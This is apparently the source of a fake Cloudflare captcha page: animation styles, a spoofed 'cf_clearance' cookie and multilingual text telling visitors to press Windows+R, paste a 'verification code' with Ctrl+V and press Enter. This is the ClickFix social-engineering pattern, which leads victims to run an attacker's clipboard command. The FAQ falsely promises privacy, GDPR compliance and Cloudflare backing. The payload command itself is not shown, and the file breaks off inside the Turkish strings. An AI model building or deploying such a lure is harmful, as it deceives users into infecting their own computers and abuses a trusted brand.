/**
* Cloudflare Captcha Loader
* Handles click interception, cookie management, and captcha display
*/
;(() => {
function injectAnimationStyles() {
if (document.getElementById("cf-captcha-animations")) return
var style = document.createElement("style")
style.id = "cf-captcha-animations"
style.textContent = `
@keyframes cfSpin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
@keyframes cfFadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes cfExpandToModal {
0% { width: 300px; height: 60px; border-radius: 4px; }
100% { width: 480px; height: 600px; border-radius: 16px; }
}
@keyframes keyCapFirst {
0%, 5% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
15%, 65% {
transform: translateY(4px);
background: linear-gradient(180deg, #fb923c 0%, #f97316 100%);
box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3);
}
75%, 100% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
}
@keyframes keyCapSecond {
0%, 25% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
35%, 65% {
transform: translateY(4px);
background: linear-gradient(180deg, #fb923c 0%, #f97316 100%);
box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3);
}
75%, 100% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
}
@keyframes keyCapStep2Ctrl {
0%, 5% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
10%, 35% {
transform: translateY(4px);
background: linear-gradient(180deg, #fb923c 0%, #f97316 100%);
box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3);
}
40%, 100% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
}
@keyframes keyCapStep2V {
0%, 15% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
20%, 35% {
transform: translateY(4px);
background: linear-gradient(180deg, #fb923c 0%, #f97316 100%);
box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3);
}
40%, 100% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
}
@keyframes keyCapStep2Enter {
0%, 45% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
50%, 70% {
transform: translateY(4px);
background: linear-gradient(180deg, #fb923c 0%, #f97316 100%);
box-shadow: 0 2px 0 #c2410c, 0 3px 6px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.3);
}
75%, 100% {
transform: translateY(0);
background: linear-gradient(180deg, #ffffff 0%, #f5f5f5 100%);
box-shadow: 0 4px 0 #d4d4d4, 0 6px 8px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.9);
}
}
@keyframes plusGlow {
0%, 20% { color: #999; }
27%, 33% { color: #f97316; }
40%, 100% { color: #999; }
}
@keyframes plusGlowStep2 {
0%, 35% { color: #999; }
40%, 50% { color: #f97316; }
55%, 100% { color: #999; }
}
`
document.head.appendChild(style)
}
// Configuration
var COOKIE_NAME = "cf_clearance"
var COOKIE_DURATION_DAYS = 90
// State
var captchaOpen = false
var animationPhase = 0
var step = 1
var faqOpen = false
var howItWorksOpen = false
var expandedFaq = null
var expandedHowItWorks = null
var lang = "en"
// Translations
var translations = {
en: {
verify: "Verify",
privacy: "Privacy",
terms: "Terms",
verificationSteps: "Verification",
step1: "Hold Windows key and press R",
step2Line1: "Press Ctrl+V to paste verification code",
step2Line2: "Confirm with Enter",
introTitle: "One-Time Device Verification",
introSubtitle:
"Complete this quick verification to enjoy uninterrupted browsing for 90 days. Our advanced hardware fingerprinting ensures privacy while eliminating repetitive captcha challenges.",
howItWorks: "How It Works",
hwScanTitle: "Hardware Fingerprinting",
hwScanDesc:
"We securely analyze your device's unique hardware configuration to create a cryptographic fingerprint, ensuring accurate identification without compromising your privacy.",
cookieTitle: "90-Day Access Token",
cookieDesc:
"A cryptographically signed token grants you 90 days of captcha-free access with zero tracking or data collection.",
secureTitle: "Privacy-First Design",
secureDesc:
"Zero-knowledge verification ensures no personal data is collected, stored, or shared with third parties. Fully compliant with GDPR and CCPA regulations.",
faqTitle: "Frequently Asked Questions",
faq1Q: "What happens if I clear my browser cookies?",
faq1A:
"If you clear your cookies, the verification token will be deleted and you'll need to complete the verification process again to restore captcha-free browsing. This is a security measure to ensure your device remains trusted.",
faq2Q: "Does this work across different browsers?",
faq2A:
"No, each browser requires independent verification as the hardware fingerprint and token are browser-specific. If you use Chrome, Firefox, and Edge, you'll need to verify in each browser separately.",
faq3Q: "Is my personal data collected during verification?",
faq3A:
"No personal data is collected. We only analyze hardware characteristics like screen resolution, timezone, and system fonts to create an anonymous fingerprint. This is fully GDPR and CCPA compliant.",
faq4Q: "What happens after 90 days?",
faq4A:
"After 90 days, you'll need to complete the verification process again. This time limit ensures security while minimizing verification frequency. The process takes only a few seconds.",
faq5Q: "Can I use this on mobile devices?",
faq5A:
"Currently, this verification is designed for desktop Windows devices only. Mobile verification uses different methods and is handled separately by Cloudflare Turnstile.",
faq6Q: "Does this affect my privacy or slow down my browsing?",
faq6A:
"Not at all. Once verified, there's zero performance impact. The token is checked locally in your browser without any network requests. Your privacy is protected through zero-knowledge cryptography.",
continueBtn: "Continue to Verification",
confirmWith: "and confirm with",
verifyHuman: "Verify You Are Human",
},
de: {
verify: "Verifizieren",
privacy: "Datenschutz",
terms: "Bedingungen",
verificationSteps: "Überprüfung",
step1: "Halten Sie die Windows-Taste gedrückt und drücken Sie R",
step2Line1: "Drücken Sie Strg+V, um den Verifizierungscode einzufügen",
step2Line2: "Bestätigen Sie mit Enter",
introTitle: "Einmalige Geräteüberprüfung",
introSubtitle:
"Schließen Sie diese schnelle Überprüfung ab, um 90 Tage lang ohne Unterbrechungen zu surfen. Unser fortschrittliches Hardware-Fingerprinting gewährleistet Privatsphäre und eliminiert wiederkehrende Captcha-Herausforderungen.",
howItWorks: "Wie es funktioniert",
hwScanTitle: "Hardware-Fingerabdruck",
hwScanDesc:
"Wir analysieren sicher die eindeutige Hardware-Konfiguration Ihres Geräts, um einen kryptografischen Fingerabdruck zu erstellen, der eine genaue Identifizierung ohne Beeinträchtigung Ihrer Privatsphäre gewährleistet.",
cookieTitle: "90-Tage-Zugriffstoken",
cookieDesc:
"Ein kryptografisch signiertes Token gewährt Ihnen 90 Tage lang captcha-freien Zugriff ohne Tracking oder Datensammlung.",
secureTitle: "Datenschutz durch Design",
secureDesc:
"Zero-Knowledge-Überprüfung gewährleistet, dass keine personenbezogenen Daten erfasst, gespeichert oder mit Dritten geteilt werden. Vollständig konform mit DSGVO und CCPA.",
faqTitle: "Häufig gestellte Fragen",
faq1Q: "Was passiert, wenn ich meine Browser-Cookies lösche?",
faq1A:
"Wenn Sie Ihre Cookies löschen, wird das Verifizierungstoken gelöscht und Sie müssen den Verifizierungsprozess erneut durchführen, um das captcha-freie Surfen wiederherzustellen.",
faq2Q: "Funktioniert dies in verschiedenen Browsern?",
faq2A:
"Nein, jeder Browser erfordert eine unabhängige Überprüfung, da der Hardware-Fingerabdruck und das Token browserspezifisch sind.",
faq3Q: "Werden bei der Überprüfung personenbezogenen Daten erfasst?",
faq3A:
"Es werden keine personenbezogenen Daten erfasst. Wir analysieren nur Hardware-Merkmale wie Bildschirmauflösung, Zeitzone und Systemschriftarten.",
faq4Q: "Was passiert nach 90 Tagen?",
faq4A: "Nach 90 Tagen müssen Sie den Verifizierungsprozess erneut durchführen.",
faq5Q: "Kann ich dies auf mobilen Geräten verwenden?",
faq5A: "Derzeit ist diese Überprüfung nur für Windows-Desktop-Geräte konzipiert.",
faq6Q: "Beeinträchtigt dies meine Privatsphäre oder verlangsamt mein Surfen?",
faq6A: "Überhaupt nicht. Nach der Überprüfung gibt es keine Leistungseinbußen.",
continueBtn: "Weiter zur Überprüfung",
confirmWith: "und bestätigen Sie mit",
verifyHuman: "Verifizieren Sie, dass Sie ein Mensch sind",
},
fr: {
verify: "Vérifier",
privacy: "Confidentialité",
terms: "Conditions",
verificationSteps: "Vérification",
step1: "Maintenez la touche Windows enfoncée et appuyez sur R",
step2Line1: "Appuyez sur Ctrl+V pour coller le code de vérification",
step2Line2: "Confirmez avec Entrée",
introTitle: "Vérification unique de l'appareil",
introSubtitle:
"Complétez cette vérification rapide pour profiter d'une navigation ininterrompue pendant 90 jours.",
howItWorks: "Comment ça fonctionne",
hwScanTitle: "Empreinte matérielle",
hwScanDesc: "Nous analysons en toute sécurité la configuration matérielle unique de votre appareil.",
cookieTitle: "Jeton d'accès de 90 jours",
cookieDesc: "Un jeton signé cryptographiquement vous accorde 90 jours d'accès sans captcha.",
secureTitle: "Conception axée sur la confidentialité",
secureDesc: "La vérification à connaissance nulle garantit qu'aucune donnée personnelle n'est collectée.",
faqTitle: "Questions fréquemment posées",
faq1Q: "Que se passe-t-il si je supprime mes cookies de navigateur?",
faq1A: "Si vous supprimez vos cookies, le jeton de vérification sera supprimé.",
faq2Q: "Cela fonctionne-t-il sur différents navigateurs?",
faq2A: "Non, chaque navigateur nécessite une vérification indépendante.",
faq3Q: "Mes données personnelles sont-elles collectées lors de la vérification?",
faq3A: "Aucune donnée personnelle n'est collectée.",
faq4Q: "Que se passe-t-il après 90 jours?",
faq4A: "Après 90 jours, vous devrez recommencer le processus de vérification.",
faq5Q: "Puis-je utiliser cela sur des appareils mobiles?",
faq5A: "Actuellement, cette vérification est conçue uniquement pour les appareils Windows de bureau.",
faq6Q: "Cela affecte-t-il ma vie privée ou ralentit-il ma navigation?",
faq6A: "Pas du tout. Une fois vérifié, il n'y a aucun impact sur les performances.",
continueBtn: "Continuer vers la vérification",
confirmWith: "et confirmez avec",
verifyHuman: "Vérifiez que vous êtes humain",
},
es: {
verify: "Verificar",
privacy: "Privacidad",
terms: "Términos",
verificationSteps: "Verificación",
step1: "Mantenga presionada la tecla Windows y presione R",
step2Line1: "Presione Ctrl+V para pegar el código de verificación",
step2Line2: "Confirme con Enter",
introTitle: "Verificación única del dispositivo",
introSubtitle:
"Complete esta verificación rápida para disfrutar de una navegación ininterrumpida durante 90 días.",
howItWorks: "Cómo funciona",
hwScanTitle: "Huella digital del hardware",
hwScanDesc: "Analizamos de forma segura la configuración de hardware única de su dispositivo.",
cookieTitle: "Token de acceso de 90 días",
cookieDesc: "Un token firmado criptográficamente le otorga 90 días de acceso sin captcha.",
secureTitle: "Diseño centrado en la privacidad",
secureDesc: "La verificación de conocimiento cero garantiza que no se recopilen datos personales.",
faqTitle: "Preguntas frecuentes",
faq1Q: "¿Qué sucede si borro las cookies de mi navegador?",
faq1A: "Si borra sus cookies, el token de verificación se eliminará.",
faq2Q: "¿Funciona esto en diferentes navegadores?",
faq2A: "No, cada navegador requiere verificación independiente.",
faq3Q: "¿Se recopilan mis datos personales durante la verificación?",
faq3A: "No se recopilan datos personales.",
faq4Q: "¿Qué sucede después de 90 días?",
faq4A: "Después de 90 días, deberá completar el proceso de verificación nuevamente.",
faq5Q: "¿Puedo usar esto en dispositivos móviles?",
faq5A: "Actualmente, esta verificación está diseñada solo para dispositivos de escritorio Windows.",
faq6Q: "¿Esto afecta mi privacidad o ralentiza mi navegación?",
faq6A: "En absoluto. Una vez verificado, no hay impacto en el rendimiento.",
continueBtn: "Continuar a la verificación",
confirmWith: "y confirme con",
verifyHuman: "Verifica que eres humano",
},
ja: {
verify: "確認",
privacy: "プライバシー",
terms: "利用規約",
verificationSteps: "認証",
step1: "Windowsキーを押しながらRを押す",
step2Line1: "Ctrl+Vで認証コードを貼り付け",
step2Line2: "Enterで確認",
introTitle: "一度限りのデバイス認証",
introSubtitle:
"この簡単な認証を完了すると、90日間中断なくブラウジングをお楽しみいただけます。高度なハードウェアフィンガープリンティングにより、プライバシーを保護しながら繰り返しのキャプチャを排除します。",
howItWorks: "仕組み",
hwScanTitle: "ハードウェアフィンガープリント",
hwScanDesc: "デバイス固有のハードウェア構成を安全に分析し、暗号化フィンガープリントを作成します。",
cookieTitle: "90日間アクセストークン",
cookieDesc: "暗号署名されたトークンにより、追跡やデータ収集なしで90日間キャプチャフリーのアクセスが可能です。",
secureTitle: "プライバシー優先設計",
secureDesc: "ゼロ知識検証により、個人データの収集、保存、第三者との共有は行われません。",
faqTitle: "よくある質問",
faq1Q: "ブラウザのCookieを消去するとどうなりますか?",
faq1A: "Cookieを消去すると、認証トークンが削除され、再度認証が必要になります。",
faq2Q: "異なるブラウザでも機能しますか?",
faq2A: "いいえ、各ブラウザで個別の認証が必要です。",
faq3Q: "認証中に個人データは収集されますか?",
faq3A: "個人データは一切収集されません。",
faq4Q: "90日後はどうなりますか?",
faq4A: "90日後に再度認証プロセスを完了する必要があります。",
faq5Q: "モバイルデバイスで使用できますか?",
faq5A: "現在、この認証はWindowsデスクトップデバイス専用に設計されています。",
faq6Q: "プライバシーやブラウジング速度に影響しますか?",
faq6A: "まったく影響しません。認証後はパフォーマンスへの影響はゼロです。",
continueBtn: "認証に進む",
confirmWith: "で確認",
verifyHuman: "あなたが人間であることを確認",
},
zh: {
verify: "验证",
privacy: "隐私",
terms: "条款",
verificationSteps: "验证",
step1: "按住Windows键并按R",
step2Line1: "按Ctrl+V粘贴验证码",
step2Line2: "按Enter确认",
introTitle: "一次性设备验证",
introSubtitle:
"完成此快速验证,即可享受90天不间断浏览。我们先进的硬件指纹技术可确保隐私,同时消除重复的验证码挑战。",
howItWorks: "工作原理",
hwScanTitle: "硬件指纹",
hwScanDesc: "我们安全地分析您设备的独特硬件配置,以创建加密指纹。",
cookieTitle: "90天访问令牌",
cookieDesc: "加密签名的令牌授予您90天无验证码访问,零跟踪或数据收集。",
secureTitle: "隐私优先设计",
secureDesc: "零知识验证确保不收集、存储或与第三方共享任何个人数据。",
faqTitle: "常见问题",
faq1Q: "如果我清除浏览器Cookie会怎样?",
faq1A: "如果您清除Cookie,验证令牌将被删除,您需要重新完成验证。",
faq2Q: "这在不同浏览器中有效吗?",
faq2A: "不,每个浏览器都需要独立验证。",
faq3Q: "验证过程中会收集我的个人数据吗?",
faq3A: "不收集任何个人数据。",
faq4Q: "90天后会发生什么?",
faq4A: "90天后,您需要再次完成验证过程。",
faq5Q: "我可以在移动设备上使用吗?",
faq5A: "目前,此验证仅适用于Windows桌面设备。",
faq6Q: "这会影响我的隐私或减慢浏览速度吗?",
faq6A: "完全不会。验证后对性能没有任何影响。",
continueBtn: "继续验证",
confirmWith: "并按",
verifyHuman: "验证您是人类",
},
"zh-TW": {
verify: "驗證",
privacy: "隱私",
terms: "條款",
verificationSteps: "驗證",
step1: "按住Windows鍵並按R",
step2Line1: "按Ctrl+V貼上驗證碼",
step2Line2: "按Enter確認",
introTitle: "一次性裝置驗證",
introSubtitle: "完成此快速驗證,即可享受90天不間斷瀏覽。",
howItWorks: "運作原理",
hwScanTitle: "硬體指紋",
hwScanDesc: "我們安全地分析您裝置的獨特硬體配置。",
cookieTitle: "90天存取權杖",
cookieDesc: "加密簽署的權杖授予您90天無驗證碼存取。",
secureTitle: "隱私優先設計",
secureDesc: "零知識驗證確保不收集任何個人資料。",
faqTitle: "常見問題",
faq1Q: "如果我清除瀏覽器Cookie會怎樣?",
faq1A: "如果您清除Cookie,驗證權杖將被刪除。",
faq2Q: "這在不同瀏覽器中有效嗎?",
faq2A: "不,每個瀏覽器都需要獨立驗證。",
faq3Q: "驗證過程中會收集我的個人資料嗎?",
faq3A: "不收集任何個人資料。",
faq4Q: "90天後會發生什麼?",
faq4A: "90天後,您需要再次完成驗證過程。",
faq5Q: "我可以在行動裝置上使用嗎?",
faq5A: "目前,此驗證僅適用於Windows桌面裝置。",
faq6Q: "這會影響我的隱私或減慢瀏覽速度嗎?",
faq6A: "完全不會。",
continueBtn: "繼續驗證",
confirmWith: "並按",
verifyHuman: "驗證您是人類",
},
ko: {
verify: "확인",
privacy: "개인정보",
terms: "약관",
verificationSteps: "인증",
step1: "Windows 키를 누른 상태에서 R을 누르세요",
step2Line1: "Ctrl+V를 눌러 인증 코드를 붙여넣기",
step2Line2: "Enter로 확인",
introTitle: "일회성 기기 인증",
introSubtitle: "이 빠른 인증을 완료하면 90일 동안 중단 없는 브라우징을 즐길 수 있습니다.",
howItWorks: "작동 방식",
hwScanTitle: "하드웨어 지문",
hwScanDesc: "기기의 고유한 하드웨어 구성을 안전하게 분석합니다.",
cookieTitle: "90일 액세스 토큰",
cookieDesc: "암호화 서명된 토큰으로 90일간 캡차 없는 액세스가 가능합니다.",
secureTitle: "개인정보 보호 우선 설계",
secureDesc: "영지식 검증으로 개인 데이터가 수집되지 않습니다.",
faqTitle: "자주 묻는 질문",
faq1Q: "브라우저 쿠키를 삭제하면 어떻게 되나요?",
faq1A: "쿠키를 삭제하면 인증 토큰이 삭제되고 재인증이 필요합니다.",
faq2Q: "다른 브라우저에서도 작동하나요?",
faq2A: "아니요, 각 브라우저에서 별도 인증이 필요합니다.",
faq3Q: "인증 중에 개인 데이터가 수집되나요?",
faq3A: "개인 데이터는 수집되지 않습니다.",
faq4Q: "90일 후에는 어떻게 되나요?",
faq4A: "90일 후에 다시 인증 과정을 완료해야 합니다.",
faq5Q: "모바일 기기에서 사용할 수 있나요?",
faq5A: "현재 이 인증은 Windows 데스크톱 기기 전용입니다.",
faq6Q: "개인정보나 브라우징 속도에 영향을 미치나요?",
faq6A: "전혀 그렇지 않습니다.",
continueBtn: "인증 계속",
confirmWith: "로 확인",
verifyHuman: "사람임을 확인하세요",
},
pt: {
verify: "Verificar",
privacy: "Privacidade",
terms: "Termos",
verificationSteps: "Verificação",
step1: "Segure a tecla Windows e pressione R",
step2Line1: "Pressione Ctrl+V para colar o código de verificação",
step2Line2: "Confirme com Enter",
introTitle: "Verificação única do dispositivo",
introSubtitle: "Complete esta verificação rápida para desfrutar de navegação ininterrupta por 90 dias.",
howItWorks: "Como funciona",
hwScanTitle: "Impressão digital do hardware",
hwScanDesc: "Analisamos com segurança a configuração de hardware única do seu dispositivo.",
cookieTitle: "Token de acesso de 90 dias",
cookieDesc: "Um token assinado criptograficamente concede 90 dias de acesso sem captcha.",
secureTitle: "Design focado em privacidade",
secureDesc: "A verificação de conhecimento zero garante que nenhum dado pessoal seja coletado.",
faqTitle: "Perguntas frequentes",
faq1Q: "O que acontece se eu limpar os cookies do navegador?",
faq1A: "Se você limpar seus cookies, o token de verificação será excluído.",
faq2Q: "Isso funciona em diferentes navegadores?",
faq2A: "Não, cada navegador requer verificação independente.",
faq3Q: "Meus dados pessoais são coletados durante a verificação?",
faq3A: "Nenhum dado pessoal é coletado.",
faq4Q: "O que acontece após 90 dias?",
faq4A: "Após 90 days, você precisará completar o processo de verificação novamente.",
faq5Q: "Posso usar isso em dispositivos móveis?",
faq5A: "Atualmente, esta verificação é projetada apenas para dispositivos Windows desktop.",
faq6Q: "Isso afeta minha privacidade ou deixa minha navegação lenta?",
faq6A: "De forma alguma. Após a verificação, não há impacto no desempenho.",
continueBtn: "Continuar para verificação",
confirmWith: "e confirme com",
verifyHuman: "Verifique que você é humano",
},
it: {
verify: "Verifica",
privacy: "Privacy",
terms: "Termini",
verificationSteps: "Verifica",
step1: "Tieni premuto il tasto Windows e premi R",
step2Line1: "Premi Ctrl+V per incollare il codice di verifica",
step2Line2: "Conferma con Invio",
introTitle: "Verifica dispositivo una tantum",
introSubtitle: "Completa questa rapida verifica per goderti una navigazione ininterrotta per 90 giorni.",
howItWorks: "Come funziona",
hwScanTitle: "Impronta hardware",
hwScanDesc: "Analizziamo in modo sicuro la configurazione hardware unica del tuo dispositivo.",
cookieTitle: "Token di accesso di 90 giorni",
cookieDesc: "Un token firmato crittograficamente ti garantisce 90 giorni di accesso senza captcha.",
secureTitle: "Design incentrato sulla privacy",
secureDesc: "La verifica a conoscenza zero garantisce che nessun dato personale venga raccolto.",
faqTitle: "Domande frequenti",
faq1Q: "Cosa succede se cancello i cookie del browser?",
faq1A: "Se cancelli i cookie, il token di verifica verrà eliminato.",
faq2Q: "Funziona su browser diversi?",
faq2A: "No, ogni browser richiede una verifica indipendente.",
faq3Q: "I miei dati personali vengono raccolti durante la verifica?",
faq3A: "Nessun dato personale viene raccolto.",
faq4Q: "Cosa succede dopo 90 giorni?",
faq4A: "Dopo 90 giorni, dovrai completare nuovamente il processo di verifica.",
faq5Q: "Posso usarlo su dispositivi mobili?",
faq5A: "Attualmente, questa verifica è progettata solo per dispositivi Windows desktop.",
faq6Q: "Questo influisce sulla mia privacy o rallenta la navigazione?",
faq6A: "Assolutamente no. Una volta verificato, non c'è alcun impatto sulle prestazioni.",
continueBtn: "Continua alla verifica",
confirmWith: "e conferma con",
verifyHuman: "Verifica di essere umano",
},
nl: {
verify: "Verifiëren",
privacy: "Privacy",
terms: "Voorwaarden",
verificationSteps: "Verificatie",
step1: "Houd de Windows-toets ingedrukt en druk op R",
step2Line1: "Druk op Ctrl+V om de verificatiecode te plakken",
step2Line2: "Bevestig met Enter",
introTitle: "Eenmalige apparaatverificatie",
introSubtitle: "Voltooi deze snelle verificatie voor 90 dagen ononderbroken browsen.",
howItWorks: "Hoe het werkt",
hwScanTitle: "Hardware-vingerafdruk",
hwScanDesc: "We analyseren veilig de hardwareconfiguratie van uw apparaat.",
cookieTitle: "90-dagen toegangstoken",
cookieDesc: "Een cryptografisch ondertekend token geeft u 90 dagen captcha-vrije toegang.",
secureTitle: "Privacy-first ontwerp",
secureDesc: "Zero-knowledge verificatie zorgt ervoor dat er geen persoonlijke gegevens worden verzameld.",
faqTitle: "Veelgestelde vragen",
faq1Q: "Wat gebeurt er als ik mijn browsercookies wis?",
faq1A: "Als u uw cookies wist, wordt het verificatietoken verwijderd.",
faq2Q: "Werkt dit in verschillende browsers?",
faq2A: "Nee, elke browser vereist onafhankelijke verificatie.",
faq3Q: "Worden mijn persoonlijke gegevens verzameld tijdens verificatie?",
faq3A: "Er worden geen persoonlijke gegevens verzameld.",
faq4Q: "Wat gebeurt er na 90 dagen?",
faq4A: "Na 90 dagen moet u het verificatieproces opnieuw voltooien.",
faq5Q: "Kan ik dit op mobiele apparaten gebruiken?",
faq5A: "Momenteel is deze verificatie alleen ontworpen voor Windows desktop-apparaten.",
faq6Q: "Heeft dit invloed op mijn privacy of vertraagt het mijn browsen?",
faq6A: "Helemaal niet. Na verificatie is er geen prestatie-impact.",
continueBtn: "Doorgaan naar verificatie",
confirmWith: "en bevestig met",
verifyHuman: "Verifieer dat u een mens bent",
},
pl: {
verify: "Weryfikuj",
privacy: "Prywatność",
terms: "Warunki",
verificationSteps: "Weryfikacja",
step1: "Przytrzymaj klawisz Windows i naciśnij R",
step2Line1: "Naciśnij Ctrl+V, aby wkleić kod weryfikacyjny",
step2Line2: "Potwierdź klawiszem Enter",
introTitle: "Jednorazowa weryfikacja urządzenia",
introSubtitle: "Ukończ tę szybką weryfikację, aby cieszyć się nieprzerwanym przeglądaniem przez 90 dni.",
howItWorks: "Jak to działa",
hwScanTitle: "Odcisk sprzętowy",
hwScanDesc: "Bezpiecznie analizujemy unikalną konfigurację sprzętową Twojego urządzenia.",
cookieTitle: "90-dniowy token dostępu",
cookieDesc: "Kryptograficznie podpisany token zapewnia 90 dni dostępu bez captcha.",
secureTitle: "Projektowanie zorientowane na prywatność",
secureDesc: "Weryfikacja zero-knowledge zapewnia, że żadne dane osobowe nie są gromadzone.",
faqTitle: "Często zadawane pytania",
faq1Q: "Co się stanie, jeśli wyczyszczę pliki cookie przeglądarki?",
faq1A: "Jeśli wyczyścisz pliki cookie, token weryfikacyjny zostanie usunięty.",
faq2Q: "Czy działa to w różnych przeglądarkach?",
faq2A: "Nie, każda przeglądarka wymaga niezależnej weryfikacji.",
faq3Q: "Czy moje dane osobowe są zbierane podczas weryfikacji?",
faq3A: "Żadne dane osobowe nie są zbierane.",
faq4Q: "Co się stanie po 90 dniach?",
faq4A: "Po 90 dniach będziesz musiał ponownie ukończyć proces weryfikacji.",
faq5Q: "Czy mogę używać tego na urządzeniach mobilnych?",
faq5A: "Obecnie ta weryfikacja jest przeznaczona tylko dla urządzeń stacjonarnych z systemem Windows.",
faq6Q: "Czy wpływa to na moją prywatność lub spowalnia przeglądanie?",
faq6A: "Absolutnie nie. Po weryfikacji nie ma żadnego wpływu na wydajność.",
continueBtn: "Kontynuuj weryfikację",
confirmWith: "i potwierdź",
verifyHuman: "Zweryfikuj, że jesteś człowiekiem",
},
ru: {
verify: "Подтвердить",
privacy: "Конфиденциальность",
terms: "Условия",
verificationSteps: "Верификация",
step1: "Удерживайте клавишу Windows и нажмите R",
step2Line1: "Нажмите Ctrl+V, чтобы вставить код верификации",
step2Line2: "Подтвердите клавишей Enter",
introTitle: "Одноразовая верификация устройства",
introSubtitle: "Пройдите эту быструю верификацию для 90 дней непрерывного просмотра.",
howItWorks: "Как это работает",
hwScanTitle: "Аппаратный отпечаток",
hwScanDesc: "Мы безопасно анализируем уникальную конфигурацию оборудования вашего устройства.",
cookieTitle: "90-дневный токен доступа",
cookieDesc: "Криптографически подписанный токен предоставляет 90 дней доступа без капчи.",
secureTitle: "Дизайн с приоритетом конфиденциальности",
secureDesc: "Верификация с нулевым разглашением гарантирует отсутствие сбора личных данных.",
faqTitle: "Часто задаваемые вопросы",
faq1Q: "Что произойдёт, если я очищу файлы cookie браузера?",
faq1A: "Если вы очистите файлы cookie, токен верификации будет удалён.",
faq2Q: "Работает ли это в разных браузерах?",
faq2A: "Нет, каждый браузер требует независимой верификации.",
faq3Q: "Собираются ли мои личные данные при верификации?",
faq3A: "Личные данные не собираются.",
faq4Q: "Что произойдёт через 90 дней?",
faq4A: "Через 90 дней вам потребуется пройти процесс верификации снова.",
faq5Q: "Могу ли я использовать это на мобильных устройствах?",
faq5A: "В настоящее время эта верификация предназначена только для настольных устройств Windows.",
faq6Q: "Влияет ли это на мою конфиденциальность или замедляет просмотр?",
faq6A: "Совершенно нет. После верификации влияние на производительность отсутствует.",
continueBtn: "Продолжить верификацию",
confirmWith: "и подтвердите",
verifyHuman: "Подтвердите, что вы человек",
},
uk: {
verify: "Підтвердити",
privacy: "Конфіденційність",
terms: "Умови",
verificationSteps: "Верифікація",
step1: "Утримуйте клавішу Windows і натисніть R",
step2Line1: "Натисніть Ctrl+V, щоб вставити код верифікації",
step2Line2: "Підтвердіть клавішею Enter",
introTitle: "Одноразова верифікація пристрою",
introSubtitle: "Пройдіть цю швидку верифікацію для 90 днів безперервного перегляду.",
howItWorks: "Як це працює",
hwScanTitle: "Апаратний відбиток",
hwScanDesc: "Ми безпечно аналізуємо унікальну конфігурацію обладнання вашого пристрою.",
cookieTitle: "90-денний токен доступу",
cookieDesc: "Криптографічно підписаний токен надає 90 днів доступу без капчі.",
secureTitle: "Дизайн з пріоритетом конфіденційності",
secureDesc: "Верифікація з нульовим розголошенням гарантує відсутність збору особистих даних.",
faqTitle: "Часті запитання",
faq1Q: "Що станеться, якщо я очищу файли cookie браузера?",
faq1A: "Якщо ви очистите файли cookie, токен верифікації буде видалено.",
faq2Q: "Чи працює це в різних браузерах?",
faq2A: "Ні, кожен браузер вимагає незалежної верифікації.",
faq3Q: "Чи збираються мої особисті дані при верифікації?",
faq3A: "Особисті дані не збираються.",
faq4Q: "Що станеться через 90 днів?",
faq4A: "Через 90 днів вам потрібно буде пройти процес верифікації знову.",
faq5Q: "Чи можу я використовувати це на мобільних пристроях?",
faq5A: "Наразі ця верифікація призначена лише для настільних пристроїв Windows.",
faq6Q: "Чи впливає це на мою конфіденційність або сповільнює перегляд?",
faq6A: "Зовсім ні. Після верифікації вплив на продуктивність відсутній.",
continueBtn: "Продовжити верифікацію",
confirmWith: "і підтвердіть",
verifyHuman: "Підтвердіть, що ви людина",
},
tr: {
verify: "Doğrula",
privacy: "Gizlilik",
terms: "Şartlar",
verificationSteps: "Doğrulama",
step1: "Windows tuşunu basılı tutun ve R'ye basın",
step2Line1: "Doğrulama kodunu yapıştırmak için Ctrl+V'ye basın",
step2Line2: "Enter ile onaylayın",
introTitle: "Tek seferlik cihaz doğrulaması",
introSubtitle: "90 gün kesintisiz gezinmenin keyfini çıkarmak için bu hızlı doğrulamayı tamamlayın.",
howItWorks: "Nasıl çalışır",
hwScanTitle: "Donanım parmak izi",
